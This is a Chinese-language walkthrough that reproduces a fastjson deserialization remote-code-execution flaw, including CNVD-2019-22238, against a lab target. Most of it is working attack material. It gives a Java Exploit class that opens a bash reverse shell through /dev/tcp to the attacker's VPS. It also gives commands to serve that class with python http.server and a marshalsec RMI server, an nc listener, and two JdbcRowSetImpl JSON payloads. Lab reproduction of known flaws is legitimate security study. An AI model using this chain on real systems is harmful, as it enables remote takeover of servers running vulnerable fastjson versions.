vps:centos8 腾讯云
本地:windows11
靶场环境:http://123.58.236.76:24477/

访问靶场环境:http://123.58.236.76:24477/
在这里插入图片描述
burp进行抓包,将请求方式改为POST,能够请求json数据,可能存在fastjson漏洞
在这里插入图片描述
准备两个东西:Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar(准备过程不详述,网上都有)
在本地创建Exploit.java,内容如下

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});		#xxxxxxxx为vps的ip地址
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

在Exploit.java同目录下打开cmd,输入

javac Exploit.java

会生成Exploit.class,将Exploit.class、marshalsec-0.0.3-SNAPSHOT-all.jar上传到vps上
在这里插入图片描述
如上图开三个窗口
窗口1输入(注意一定要在Exploit.class的目录下)

python3 -m http.server --bind 0.0.0.0 1234

在这里插入图片描述
窗口2输入(xxxxx为vps的ip地址)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxx:1234/#Exploit" 9999

在这里插入图片描述
窗口3输入

nc -lvvp 1122

在这里插入图片描述
在burp中输入payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxxxxxx:9999/Exploit",	#xxxxxxx为vps的ip地址
        "autoCommit":true
    }
}

在这里插入图片描述
反弹shell
在这里插入图片描述

注:记得vps要把对应端口开放,否则无法反弹

fastjson-cnvd_2019_22238复现方法一模一样,只有burp请求的数据不一样

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxxxx:9999/Exploit",	#xxxxx为vps的ip地址
        "autoCommit":true
    }
}
Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐